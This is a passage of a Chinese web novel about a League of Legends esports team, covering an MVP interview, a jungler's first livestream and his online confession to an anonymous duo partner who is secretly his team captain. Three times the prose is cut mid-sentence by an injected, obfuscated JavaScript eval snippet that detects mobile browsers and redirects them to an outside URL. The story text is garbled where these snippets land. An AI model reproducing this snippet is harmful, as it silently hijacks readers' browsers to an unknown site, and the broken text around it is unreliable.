“很开心,也很感激。感谢队友们的信任和配合,感谢教练组的安排,感谢NPG愿意给我这个机会。” “我们注意到,你今天的身体状态似乎不太好,但仍然坚持打完了比赛,并且发挥出色。是什么支撑着你完成比赛的?” 宋澈沉默了一会,然后说,“这场比赛对我来说有特殊的意义。T杯本来应该是我一年前的出道舞台,无论如何我不想再错过了。所以比赛前,我想,不管对手和队友是谁,我都要拿下这个冠军。” 除NPG的粉丝外,大部分观众有些不明所以,但不妨碍他们为够狂也够强的选手献上掌声。 “最后一个问题,今天三把游戏你跟Vale选手的中野配合非常默契。能谈谈你们为此做过的准备吗?” 宋澈下意识地看向舞台边缘,谢予辞正站在那里。 “予辞哥......“宋澈停顿一下纠正道,“Vale选手是联盟最出色的中单,也是最值得信赖的队友。能和他一起打比赛,是我一直以来的目标。” “而且这只是开始,我们说好了,要一起走完那条黄金之路。” 全场再次爆发出欢呼声。 主持人笑道:“那就让我们期待NPG在春季赛的表现!谢谢Carpet选手!” 采访结束,谢予辞要去谢场,宋澈不顾中单的劝阻,勉强撑着身体跟在他身后。 谢予辞凑过来低声说,“小澈,回去好好休息吧。” “嗯......”宋澈靠在他肩上,闭上了眼睛。 什么人生南北多歧路,他偏偏不信邪,要将南辕北辙的道路汇成一条,从此和自己认准的中单并肩去往任何远方。 “我-们-说-好-了~要-一-起-走-完-那-条-黄-金-之-路~~” 宋澈冷着脸把暖手包甩在学舌的辅助脸上。 T杯结束后的第一次正式训练,一队训练室的屏幕上在循环播放MVP采访,队员们都提前到了,三三两两做着自己的准备。 两位单线选手正在进行热火朝天的蒙多躲避球solo,对线能力被小觑的下野组围成一圈对着电脑做复盘。 李扶砚灵巧地扭身躲过暗器,“怎么了?只许你一个人说,不让别人提啦,你的黄金之路是不需要我参与吗?” “你能不能闭上嘴。” “你不许这么说扶砚哥!”林冬均立马出警。 宋澈不搭理他,装冷暴力高手。 李扶砚头疼,“冬均,别这么小题大做,你把他得罪了他比赛不来下路怎么办。” “那就说明他这个人没有职业操守,我要去跟予辞哥告状。” 宋澈大方地说,“你去吧。” 林冬均更气了。 明明在游戏里挺合拍,为什么待在一个房间里时都没法好好说上几句话。 最后先去告状的是不胜其扰的辅助。 刚刚再次卫冕蒙多King的谢予辞闻言也有些苦恼,“他俩肯定会被分到一个班上,同学间总是闹矛盾难免要影响成绩。” 宋澈不得不出声打断自己最尊敬的哥哥。 “予辞哥,我跟他为什么要做同学?” 谢予辞睁大眼睛问,“嗯?你忘了吗小澈,NPG会自己给未成年选手们开班教文化课,至少得把高中知识学完,总不能有朝一日不打职业了,想考大学还要从头开始复习吧。” 宋澈没忘,他在青训待了两年,就被按着折磨了两年,成效只能说没有寸进,年年蹲班。出走NPG前他还忙里偷闲参加了月考,凭借高一数学7分的辉煌战绩冠绝U19,教练们纷纷感慨如果不是有英雄联盟这孩子估计毕业后得丝滑进厂。 “可是我现在已经成年了,我都二十了。”宋澈抗辩。 谢予辞看他像在看一个不懂事的孩子,跟家长闹着今天不去上幼儿园。 “可是你没有学完呀,正好你留了一级,可以跟冬均一起去读高二课程,互相做个伴。” 宋澈只觉得世界都灰暗下来,比发烧和输比赛还让他难受。 队长知道,但队长坏心眼地装傻充愣。 “总之,大概三月份开始,你就去当插班生感受青春生活吧~在那之前要跟冬均前辈搞好关系哦。” ——救命啊! 他不想学数学!! 13. 第 13 章 “春季赛的积分不高,从原则上来说,队伍对你们的要求是多磨合,多尝试新战术。你们每个人都要寻找由自己作为核心引领团队取胜的方法,我们先在训练赛中落实,然后逐步推进到正式比赛中。” 陈铎为复盘收尾。 几位选手纷纷应下,监督见大家认真,满意点头,“我们今天的集中训练先到这里,先去吃饭吧。这几天休息时间也不要出去乱跑,我们要打开幕赛,别感冒。” “对了,Carpet准备下,待会让予辞陪你去直播室。”日理万机的监督甩下叮嘱,不等宋澈回应便匆忙离开了。 日常训练顺利完成,NPG的前期宣发也已铺垫到位,宋澈新赛季首播千呼万唤下总算是不能再往后拖了。 直播。 他从直播间粉丝们的身上收获过诸多善意后,依然不习惯把自己的一举一动暴露在摄像头下供他人消遣。可如今身为营销队的一员,隐私自然是应当摒弃的陋物。 从小到大他似乎总是一方面渴望着自己被看见,一方面又缺乏站出一步的勇气,总想着等事无巨细地准备好一切,总也没有万全的那天。 有人把因此导致的错失归咎到糟糕透顶的运气上,还有人假装从自我批评中获得乐趣。宋澈耳濡目染,险些成为其中一员。 幸好电子竞技里大家的生命太短不容浪费,想不明白就不想。 不知道哪个队适合自己,随便挑一个先打;不知道技能该不该放,那就都试试;哪一个英雄能赢下比赛,要不选不留遗憾吧。 稀里糊涂地出道,稀里糊涂地作为选手活个三五年,稀里糊涂地退役,干净消失在大众视野里,差不多得了。 爱认真,图明白,在这里不合版本。 饭后中野两人相携进了直播室,宋澈整理外设时,注意力不由自主地移到安静等在一旁的谢予辞身上。 队长把他送到后没走,主动请缨来帮他撑过前面开场部分的Talking环节。 或许对予辞哥而言,有关英雄联盟的一切都易如反掌吧。 “其实并不是,但做的太多就习惯了。” 宋澈寒毛立起来了。 “你没有不小心说出口,是我猜的。”谢予辞笑道,“表情太明显了,可惜崇拜用错地方啦。” “怎么会,不管是直播和拍摄,予辞哥都很擅长。” 宋澈说这话时脑子里全是跟粉丝打娱乐赛那天,谢予辞站在压根不懂游戏的陌生人旁边,笑也不笑了,气质反而更像赛事转播镜头里的Vale。 没成想谢予辞追问:“这么说来你看过我直播?” “嗯......” “我还以为小澈的性格不会对这种事感兴趣呢。” “小时候看的。”宋澈坦白,“NPG首冠那年,我在家里电脑上看过。” “那是十年老粉啦,怎么样,我那会的表现是不是比你灾难多了?”谢予辞开玩笑。 宋澈沉默了下,委婉地自欺欺人,“当时只顾着看操作来着。” 初出茅庐的谢予辞不论是RANK和比赛打得都非常凶,拼着自损八百也不给对手留活路,观众看他的第一视角心脏都在跟着刀尖起舞的操作忽上忽下,哪有人会注意到召唤师不说话装高手。 以十年后的目光来看,摄像头里的主播面无表情跟个假人似的,一声不吭地选五花八门的中单英雄猛猛C,还胜率奇高,真的很像误入马斯克AI直播间啊! 想想从李扶砚那里学来的话术,洗,都能洗! 谢予辞对自己那会的表现心里有数,“咱们队只有我是当选手前完全没有出镜经验,最开始直播不说话纯粹是尴尬,后来比赛打多了,习惯了被镜头对着,才慢慢放开了点。” 宋澈请教,“放开后要怎么才不会说错话?” 谢予辞郑重传授秘诀,“只要多说谢谢,其他的全部胡言乱语就好。就像维迦疯了之后,根本没人会在意他要成为绝世坏蛋统治世界吧,好可怜。” 认真的吗? 不论听上去多不靠谱,谢予辞说的宋澈都想去试一试。 不同平台的摄像头一个个架好,中单的镇定姿态无声中感染了他。 【NPG Carpet直播间:上分】 按时坐在电脑前点击开始直播,宋澈还没来得及打招呼,从未有过的大规模弹幕蜂拥而至。 一条接一条的打赏语音互相卡得鬼畜起来,其中屏幕最上方几条大额CS的署名是他的老粉。 【T杯冠军夺】 【美美回家做直播】 【贷款先批着】 这是什么跟什么? 中单贴过来沉吟,“最小澈?” 见谢予辞也在,直播间自是一遭意想不到的惊喜。本来就有许多队友粉和队粉来看热闹,他们奔走相告下,观众在线人数翻着倍往上涨。 【啊啊啊啊啊啊啊!忽然间太近啦Vale大人!】 【怎么能用别人的名字凑字数呢!侵犯肖像权!主播已经气得快晕过去啦,必须得和队长贴贴才能复活!】 “予辞哥,你别搭理他们。”宋澈抑制着红温的冲动,终于懂了什么叫家丑不可外扬。 【兄弟们给你谋福利,你说兄弟不用搭理,素质最低!】 谢予辞也不恼,好言好语地哄观众,眼睛却看着想要原地消失的宋澈,“我不太会写诗,原谅我吧,好不好。” 弹幕炸锅,爆发一阵鸡飞狗跳。 几个有来有回的玩笑过去,宋澈放松了些。 “那我先走了。”谢予辞压低声音。 “不多留一会吗。” 谢予辞留下了句意味不明的话,“不行,要是小澈被弹幕欺负的太可怜,我会变成傻瓜。” 这是在暗示他要从现在开始胡言乱语吗? 宋澈的程序卡顿无法理解,但这不妨碍他在排到的游戏里如鱼得水。 男枪悠哉端起炮管,疯狂把子弹塞进对手嘴里。 宋澈为了首播一直没rank,新赛季段位很低,职业选手们早已陆续上了宗师王者,他今晚排到的玩家都是路人。Carpet的大号出名,这局游戏节奏又好,峡谷很快响起愉快的谈笑风生。 【我曾经以为高分段打野男枪99%不是人类,直到今天误入Carpet大人的高档直播间】 在这个爱情和事业都缺席的年纪,遇到了一位三路抓的守时打野是每一位线上玩家的荣幸! 【切入时机太漂亮了,澈哥什么时候出一期打野打团教程啊】 宋澈吃线时余光恰好瞥到,“卡好位置躲开对面技能,然后把技能交在对面C位身上,团战就能赢。” 【......】 【打野绝世功法在此,练成便可入赘NPG,诸位道友为何一言不发?】 【鄙人不擅中文】 趁着优势平稳运营的空隙,宋澈遵从谢予辞的嘱咐开始谢礼物。 “谢谢[一路走蓝地毯]送的......”刚说了两句,打野眉头一皱,发现按这个速度他把对面野怪反了也谢不完。 但是从中间突兀断开的话会不会让没被念到的粉丝失落? 宋澈歪过身子,椅子挪到主副屏之间,人从摄像机前消失了。 粉丝们:? 【主播人呢?】 几秒后,粉丝们只见宋澈以一个诡异的姿势坐在了倾斜的位置,只有半张脸从右下角的窗口探出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278597|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>屏幕中团战已经开始,打野艰难地念ID,“谢谢[下把来局豹豹]送的礼物。奈德丽不能随便选,要看阵容的。” 手上则毫不含糊,闪现反向大招位移追击,两枪崩掉狼狈逃窜的ADC。 【有人知道这神人打野在干嘛吗??】 【在尝试突破人类眼睛的极限视野范围】 【天才啊,这样就能同时看到两块屏幕了,我悟了!】 随着对方水晶炸开,游戏特殊音效叮咚一声。 Quietus:pet~晚上好~T杯决赛相当精彩哦! 宋澈一激灵,险些滑下椅子。 NPG Carpet:哥,晚上好,比赛没有耽误你的时间就好。 Quietus:没有耽误时间,但看着很担心,pet的身体恢复得如何了? NPG Carpet:队伍回来就给我放了假,已经完全康复。 直播间的老观众们熟练地给不明所以的新粉丝科普。 【这是Carpet舔了一年,目前连人家的本名都没搞到手的单恋对象】 经常网恋的观众都知道,名字是现实与虚拟的交界,是所有一切开始变得真实的起点。虚拟世界的种种早晚会结束,而游戏迎来结尾后,现实才开始延续,所以连名字都不敢问的打野无疑是逊中之逊。 新粉多是NPG粉丝,听闻此事纷纷打抱不平。 【那Vale怎么办?!才来几天就想脚踏两条船,长得帅的打野骨子里都不检点!】 “开我玩笑没关系,不许这么说予辞哥。”宋澈正色,百忙之中腾出手送了这条弹幕五分钟小黑屋。 如果开口,Quietus大概率不会刻意隐瞒。 一年来有数次,宋澈随时能够输入在心里酝酿过很多遍的台词。可他还没弄明白为什么每次要问时,胃隐隐有被揪住的胀痛。 虽然在双排这件事上通常是他在主动,但对于Quietus他又有种恨不得敬而远之的畏惧之心。 如果真的问了,万一得到了那个极小概率的拒绝该怎么办呢?如果没被拒绝,这又会意味着什么新变化吗?次级联赛的巨大失业压力让他无心考虑。 这短短半个月来,原本扑朔的未来发生了翻天覆地的变化。谢予辞带给他的勇气似乎还未完全褪去,优秀的打野必须能借势出击。 NPG Carpet:另外我有件事一直想说,哥,如果方便的话,可以跟你交换一下联系方式吗? 此话一出,弹幕都识趣地屏息了,然而对面半天没回。 宋澈的心一点点绷紧。 Quietus:额、那个、可以是可以,但是我没手机, Quietus:不,我是说手机不在旁边,我去拿一下。话说小澈有公开邮箱吧,我会把联系方式发给你的。 【热烈庆祝!!!伟大的Carpet选手在历经一年后旮旯给木攻略进度终于取得质的突破——】 弹幕弹冠相庆。 没多想什么,宋澈长舒一口气。 ——私聊—— 谢予辞:陈监督,你现在在基地吗? 陈铎:予辞?在,我刚帮你把体检单领回来,正要去找你呢。 谢予辞:......想拜托你一件事,我记得咱们基地办宽带送过一张电话卡,我可以借用下吗 陈铎:随你用,不过你要这个干嘛? 谢予辞:似乎、好像、也许,有小朋友想要加我联系方式,单纯聊聊天,但他已经加过我的大号了[哭哭.jpg] 陈铎:那就用你大号跟他聊呗 陈铎:不对,不对,你人在哪呢?我过去找你,你给我说清楚这是什么意思? 14. 第 14 章 面对冲到脸上的Gank,中单果断六分投了。 “你的意思是,你开了个小号,每天训练结束后跑去Rank匿名打辅助,已经持续了整整一年?”陈铎眯起眼睛确认。 谢予辞自知理亏,不好意思大声说话,“不是光打辅助了,也练了中单。” 陈铎怒不可遏,“谁允许你自己偷偷加练的?” 完全没有对他进行道德上的谴责的意思。 “Carpet看着沉稳,没想到私底下这么没轻没重。” 谢予辞真心为打野伸冤,“监督,小澈又不知道那是我。再说,Rank我有自己的节奏。” “还敢狡辩?小号没收了。”监督大人冷酷裁决,“还有,你自己想办法去跟Carpet交代。” “......” “予辞,身在其中,应该最能感受出他的态度。有些事早晚要说清楚,拖得越久,到时候收场越难看。” 谢予辞低头,“我知道,再给我点时间吧。” 陈铎叹了口气,从口袋里掏出那张电话卡递给他,“拿去吧。” “添麻烦啦。” “咱们基地的网线只送了三张卡,只要你别同时跟四个队友一起网恋,就算不上麻烦。” “别骂了,我知错了。” 陈铎靠在椅背上,双臂环胸,用一种审视的目光看着得意弟子一顿忙活。 “如果让他知道Quietus就是我,很可能会觉得我在耍他,万一真的中野决裂新赛季更衣室就太尴尬了。”谢予辞说得头头是道。 陈铎失笑,“你不用解释,我什么都没问。” 谢予辞将新注册的sns账号编辑进邮件正文,收件人是Carpet的公开工作邮箱。点击发送后,他立刻将手机调成静音,然后把手机屏幕朝下扣在了桌上。 整个过程行云流水,快得让陈铎都没来得及说出一句吐槽。 “好了,”谢予辞抬起头,脸上又恢复了那种温和无害的笑容,“现在,我们来谈谈我的体检报告吧,陈监督。” 陈铎看着他这副公事公办的模样,最终只是无奈地摇了摇头抽出了那份体检单。 另一边,宋澈的直播间满屏问号。 新的一局游戏开始,主播在弹幕遥控下选了奈德丽。 他面上继续打游戏,实际上注意力全在右下角的聊天窗口。屏幕上的团战一团糟,奈德丽搞错了形态,一头撞进对面人堆里差点被秒。 【???澈哥你在干嘛,演起来了?】 【懂了,这就是恋爱的力量】 【刚才还猛得一批,现在直接神魂出窍,怪不得那帮私联粉丝的彩币全捞了】 宋澈清了清嗓子,“咳,失误,对面站位好。” 【你就硬编】 【别急,好好调整,哥几个等你回来!】 就在这时,他听见桌角的私人手机响了一下。 他回了。 忍了好一会才找到机会,打野趁着赶路时间飞快地解锁手机点开邮件,那是一串陌生的数字,下面缀着一行简短的文字。 【方便的话,用这个联系吧。——Quietus】 宋澈深吸一口气,复制了那串号码,切换到自己的聊天软件在搜索框里粘贴。 努努和威朗普贴在一起的头像跳了出来,和游戏里的那个一模一样。 他点击“添加好友”,在申请信息的输入框里删删改改了好几次,最后什么都没备注。 【主播怎么一脸苦大仇深?赢团了也不高兴?】 【刚刚故意失误陷入劣势,然后打赢劣势团展示韧性】 【别洗了,他肯定是在想怎么找借口溜!】 弹幕说对了一半,宋澈看了眼右下角,离战队规定的最低要求还有一个半小时。 溜是溜不掉的,但他又担心等下播后再联系会影响Quietus休息。 屏幕中的英雄大杀四方,而召唤师的脑子里想的是待会聊天第一句话该说什么? “我是Carpet”?太生疏了。“哥,我下播了”?似乎又太过熟稔。 【好恶心的表情】 【澈子!还回来吗澈子?】 【没关系,网恋就网恋吧,你要自己幸福啊!】 宋澈没跑,他又坐了两个多小时。 这是NPG新打野的第一次直播,NPG和Vale为此付出了许多精力,绝不能因为他的分心搞砸。 直到回了宿舍,关上房门,他才敢点开聊天软件。 Carpet:哥,我是pet。 发送。 一墙之隔的宿舍里,谢予辞把脸埋在枕头里。 手机震动了一下。 谢予辞猛地抬起头,屏幕的光照亮了他凌乱的刘海。 这是不是就叫做贼心虚? 他试图找回Quietus的人设。 原来他是怎么做的来着?秒回显得太急切,太慢会让敏感的小朋友多想。 算了算了!不想了! Quietus:刚下播吗?辛苦了[摸摸头.jpg] 表情包是系统自带的,透着股中年人的慈祥稳重。谢予辞审视了一遍,觉得很符合自己虚构出来的忙碌现充社畜形象。 NPG Carpet:嗯,刚关掉回宿舍。今天话有点多,嗓子不太舒服。 谢予辞下意识想发一句“那快去厨房拿点扶砚藏起来的润喉糖,他就藏在沙拉碗里了”。 字打了一半又猛地删掉。 他换成了一句更疏离客气的回复。 Quietus:记得多喝点热水润润喉。早点休息吧,明天还要训练吗? 发完这句话,谢予辞把手机扔到被子上,翻身平躺盯着天花板发呆。 明明就在同一栋楼里,走几步就能敲开对方的门,现在却要躲在被窝里用另一个身份发这种不痛不痒的客套话,这就是说谎的代价吗? 但他至少现在不能暴露。 如果让宋澈知道这一年来陪他双排、听他吐槽队伍、甚至鼓励他离开BG来NPG的人就是谢予辞...... 他在小澈心中的形象会变成什么样啊! 至少得等小澈彻底融入队伍,适应LPL比赛后。 手机又震了。 NPG Carpet:睡不着,哥现在方便吗? 方便?方便什么? Quietus:嗯?怎么了? NPG Carpet:想跟你聊聊。 宋澈知道凌晨三点多的时间对于一个有正经工作的人来说绝对是扰民。 但感情这种事就是这样,忍的时候能爆发出堪称比格犬饲养员的惊人耐性,而一旦开了口子,就刹不住车了。 他控制不住。 NPG Carpet:我想听听哥的声音。 这句话发出去的瞬间,宋澈感觉自己的脸颊在发烫。 另一头的谢予辞差点把手机砸在脸上。 听声音?绝对不行!他的声音辨识度太高了,身为队伍指挥,说的话又太多,哪怕压低嗓子,特有的语调和咬字习惯也很难掩盖。 谢予辞瞬间坐直了身体,试图找一个合情合理的借口。 Quietus:抱歉pet,现在不太方便。家里人已经睡了,我这边隔音不太好,怕吵醒他们。 好烂的借口! 宋澈倒没多想,对方是普通人,有家人,有正常的作息,时间线本就跟电竞选手搭不上。 NPG Carpet:我才要说抱歉,是我没考虑到。那打字可以吗? 谢予辞松了口气,重新缩回被窝里。 Quietus:当然可以,pet想聊什么?我永远有时间~ 聊天框安静了一会儿。 NPG Carpet:哥,你觉得我T杯决赛表现怎么样? Quietus:很棒啊,四杀那个团大招开得时机很完美~ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278598|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' NPG Carpet:其实那时候手一直在抖。我一直在想,如果那波没操作好,如果输了我该去哪找新工作。 NPG Carpet:NPG本来就是被迫签我,迫不得已。他们刚帮我解决了我的合同问题,又投了那么多资源,一旦我没接住,他们一定会后悔吧。 谢予辞看着屏幕,喉咙有些发堵。他知道宋澈的自尊心有多强,也知道他在BG那一年经历了多少自我怀疑。 Quietus:不会的,你已经证明了自己,NPG签下你是因为你值得。 NPG Carpet:我害怕不光是因为NPG,更是因为你。 谢予辞愣住了,不妙的预感涌上来。 Quietus:因为我? NPG Carpet:这一年,如果没有哥陪着我,我可能早就放弃了。在次级联赛那些日子烂透了,没有人认真训练,他们不尊重对手不尊重粉丝,也不在乎比赛和自己的职业生涯。一开始我每天训练十个小时,比赛在输,我觉得是我菜。之后训练十三个小时,还是输,十四个小时,十五个小时,还是输。 Quietus:......pet,已经过去了。 NPG Carpet:我每天唯一的期待就是晚上跟你双排。 NPG Carpet:是你告诉我,要去NPG试训。是你告诉我,我有能力打LPL。 NPG Carpet:对于我来说,你比那些奖杯、比所谓的黄金之路都重要,我不想让哥的信任白费。 文字一行行跳出来,砸在谢予辞的心上。 他从没想过一个在低谷期提供陪伴的路人甲能在宋澈心里竟然占据了这么重的位置。 NPG Carpet:哥,我知道我们没见过面,甚至连名字都不知道,我也知道这样说很奇怪。 NPG Carpet:但我好像……真的喜欢上你了。 宋澈按下发送键,闭上眼睛,他也能听到自己心跳的声音震耳欲聋。 屏幕另一侧则是死一般的寂静。 谢予辞盯着那句“真的喜欢上你了”,整个人僵硬得像加里奥。 失策,气松早了!这次是真的完了。 本不存在的教资在天上飞啊! 他原本以为他做的一切只是前辈对后辈的关照,顶多算是一段比较亲密的网友关系,甚至还沾沾自喜于自己心理疏导做得不错,说不定四十岁的时候能去做个心理医生试试。 结果他把人家小孩给闹得要向他告白。 性向对不对还另说,重点是对象是他那个虚构出来的。 哪怕宋澈说喜欢陈铎,他都能牵线搭桥撮合撮合,可是Quietus他是真的变不出来啊! 这要怎么收场? 接受?不可能,建立在虚假基础上的感情不会有好结果。拒绝?现在拒绝,刚拿了冠军,好不容易有了自信心的小朋友心态会不会崩? 谢予辞倒不觉得宋澈会对他有什么想法,毕竟VTuber和中之人怎么能混为一谈呢。 谢谢你的喜欢但我们不合适?轻描淡写置身事外高高在上,绝对达咩! 网恋不靠谱你还小不懂事?这是什么的老古董发言啊! 不论谎言最开始的目的是什么,在真心面前总是脆弱的,他此刻无论说什么都是错。 “对方正在输入”灭了又亮,宋澈盯着那个反复跳动的提示发愣。 沉默似乎就是答案。 NPG Carpet:哥,是被吓到了吗?是我太唐突了,你不接受也没关系,我只是想让你知道,喜欢你是我自己的事情。 谢予辞看着对方完全没有脾气地找补更难受了。他宁愿宋澈强势一点,或者发个脾气,也不想看到自己看着成熟起来的小打野露出这种小心翼翼的样子。 ......监督我错了!我不该低估您的智慧。 这还不如被警告后立马摊牌去跟小澈道歉呢。 太尴尬了! 15. 第 15 章 Quietus:pet,我很感激你的心意。但是现实和网络是有差距的,你看到的我只是我想让你看到的一面,现实中的我根本不是你想象的那个样子。 现实中的谢予辞是个辈分大到压死人的无趣前辈,如果宋澈离开NPG,甚至还可能是他未来职业生涯上的对手。 总之绝不是让他依赖到可以无话不谈的恋爱对象。 NPG Carpet:我不介意。 宋澈回复得斩钉截铁。 NPG Carpet:不管现实中你是什么样,哪怕你是BG那个只会画饼的老板,我也不在意。 谢予辞回想起BG中年丧发的老板,不知道该哭还是该笑。 Quietus:这太突然了,给我点时间好吗? 没办法了,拖,在被线下堵门之前都可以拖。 谢予辞不惮以最差的情况揣测着,一旦掉马朋友肯定是做不成了,更恐怖的是能不能做队友都难说。 这怎么能行呢? 粉丝和赞助商们对新赛季满怀期待,对手和设计师们虎视眈眈。 Aatrox转会而来几乎是堵上职业生涯末期的殊死一搏,Rainstorm和Space还没成为历史第一下路组。 Carpet只等国际赛冠军来证明自己。 Vale要一直赢下去。 谁也不能让NPG的未来蒙尘。 谢予辞见过不少因为感情问题影响比赛状态的选手,深知其中利害。 但他拒绝的本应当再强硬些,无奈此时理亏心虚,实在说不出更伤人的话。 宋澈看着Quietus的回复,没有直接拒绝,只是需要时间。 NPG Carpet:好,我等着哥,多久都等。只要你不消失。 谢予辞良心隐隐作痛。 放心吧小澈,哥哥当然不会消失,明天早上还要在训练室见面呢。 要是被队长直接拍肩膀说“小澈呀非常抱歉,我考虑过了咱们真的不合适”不比消失吓人? Quietus:不会消失的,早点睡吧,晚安。 NPG Carpet:明天见,哥。 互道晚安后,谢予辞窝在床上痛苦地捂住脸。陈监督要是知道这件事,绝对会没完没了地蛐蛐他。 必须想个办法,在宋澈陷得更深或者掉马之前,把错误一切纠正过来。 要不,试着让Quietus变得讨厌? 宋澈关上灯安然入睡,谢予辞则翻来覆去,脑子里乱成一团浆糊。 春季赛的进程远比宋澈想象的顺利。 开赛前两周NPG势如破竹,一路高歌猛进,以大比分4:0的战绩拿下全胜,跟其余两个强队并列西部榜首。 可无论是选手还是粉丝都一副忧心忡忡的样子,胜场的小失误都要拿到超话反复鞭策。 对此,NPG的粉丝也有话说。 【去年刚开始奶泡糕也是如此美妙的开局,结果呢?开场卧草你谁,结局面如死灰!】 【当所有人都觉得你们要烂了,你们昂首挺胸。当大家伙看好你们,你们就万众瞩目下拉个大的,太懂流量了】 宋澈一开始不太理解,还是那句话,跟次级联赛的生态比,NPG简直是神仙队友。 或许是上天见他太没见识,想给他开开眼界。 他这想法冒出来的第二天,神仙就施展神通了。 “林冬均,你脑子里到底在想什么?粉丝买票来现场不是为了看你肆无忌惮地杂耍!”更衣室的门甫一关上,教练的斥责就响彻房间。 ADC一声不吭地站在教练旁边,都不去牵辅助的手了。 屏幕上正在播放赛区剪辑出的高光replay,当然,是对面AD的高光。 今天对战联赛垫底0-4开局的弱旅,赛前预测清一色都认为NPG会速通,谁都没想到,开赛后结果竟然是联赛大王极其丑陋地0:2滚蛋。 两把游戏林冬均的发挥堪称灾难。 第一局四保一厄斐琉斯团战暴毙,一枪不开。 第二局出于保护选手的目的,教练组给他抢了保命能力更强的霞,结果对面一手五楼女警,霞对线期被线杀两次,直接烂完了。 “对面那个AD水平还不如二队,你被他杀那么多次?不想打就收拾你的东西滚,还是你想让他们指着你的脊梁骨骂,你就是个蹭局势C不了的AD!” 这话说得太狠,宋澈看不过去。 “卫教练,能输成这样每个人都有问题,你不能......” “你闭嘴。” 林冬均面无表情地说。 宋澈愣了一下。 “我打得菜我自己知道,不用你来可怜我。” 宋澈还想再说什么,却见上单周衡则早早退到角落旁,摆明不想参与进来。而旁观的中辅二人不知何时凑到了一块,在林冬均的视野盲区对他使眼色。 宋澈见状便懂了其中肯定有什么他不知情的内幕,于是顺着林冬均改口,“抱歉。” 林冬均倒没有较劲,“你怎么张嘴闭嘴跟谁都道歉,少干点让别人不爽的事吧。” 被他们这么一打岔,卫教练的气势散了大半,还想再说什么,“林冬均,你今天——” 谢予辞再次打断他,“卫教练,我们回去再做详细复盘吧,今天全员加班,把失误全部理清才准休息。” 空气安静几秒,教练还是点头接受了队长的提议。 周衡开口插话道,“那待会从哪走?后门吗?” 宋澈记得这是上单第一次在游戏之外的事情上主动参与话题。 LPL的比赛场馆有前后两个出口,前门出口对着地上停车场,经常会有粉丝等在通道两侧接下班。而后门直通地下停车场,全程不用跟粉丝有任何接触。 赢比赛时,走前门享受粉丝欢呼自然欢欣雀跃,而输了的滋味就不美妙了。 竞圈可一点都不溺爱彩笔,选手敢让粉丝花钱赤石,粉丝立马就要骑你脸输出,人都到现场了,仇绝不过夜。 绝大多数情况下,战败的队伍都直接走后门回家,避免被血压升高的粉丝面辱之。 谢予辞摇了摇头,林冬均沉声说,“后门?输比赛就走后门,那要是一直输,难不成还要走一辈子后门吗。” 果不其然,前门骂声一片。 “快跑两步!都打成什么样了还敢走前门。”两位秩序善粉丝指挥,“前头都是等着撒气的人呢。” 她们的提醒晚了一步,眼尖的粉丝已经开喷。 “厄斐琉斯在青钢影面前装你是不是人,压力队友,÷死了!” “还Rainstorm呢,当什么暴风雨啊,当个及时雨就得了!” 宋澈想挡一下,不幸遭受波及。 “奇迹行者,比赛的时候没见你出现,这会刷什么存在感,让开!”粉丝义愤填膺。 林冬均呵了声,用肩膀把宋澈顶开,自己大步往前走。 远离了粉丝扎堆的范围,还剩下半句话阴魂不散地传来。 “......你配让Space转位置给你打辅助吗!” 宋澈注意到AD上车的动作顿了下,还是一个字都没说。 车里一路无话,只有前排的李扶砚一直侧着身子,似乎想跟林冬均说点什么,但看着ADC那副拒绝交流的姿态,最终还是把头扭了回去。 宋澈五味杂陈,他在之前的队伍很菜,但大家都菜得开朗乐观,做选手只要防止被迫参与菠菜和商K就好,没有这么多复杂的心理问题。 回到训练室,卫教练拿着笔记本电脑走进来,看脸色显然还在气头上。 “复盘。”他把电脑往桌上一拍,“都坐好。” 赛训组的分析师们已经第一时间处理好了视频。 “今天上中野一直在替下路填你们那个补不上的窟窿。” “这里为什么不交闪?”教练指着屏幕,“扶砚已经给了灯笼,你只要闪现点灯笼就能走,为什么要省这一个闪现?你觉得自己能操作?” 林冬均盯着屏幕,“我以为能反打。” “以为?根本不去注意队友的技能和站位,你以为英雄联盟是围着你一个人转的游戏吗,ADC的C是Carry,不是Center。” 李扶砚忽然说,“教练,这波是我的问题,灯笼给晚了。如果早点给,他不用交闪也能走。” “扶砚,你别替他解释。”卫珂皱眉。 李扶砚抬起头,直视着教练,“可我是辅助,保不住ADC就是我的失职,您连我一起骂吧。” “这个版本辅助的影响力就算是送也送不出这么大。”教练满不在乎。 林冬均猛地抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278599|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看向李扶砚。 “扶砚哥,你不光是AD的辅助,你是NPG不可或缺的一员。”他从齿缝里挤出话来。 谢予辞敲了敲桌子,声音不大,“你们俩好了,下路是唯一的双人线,天生就绑在一起,出了问题谁也跑不了。” 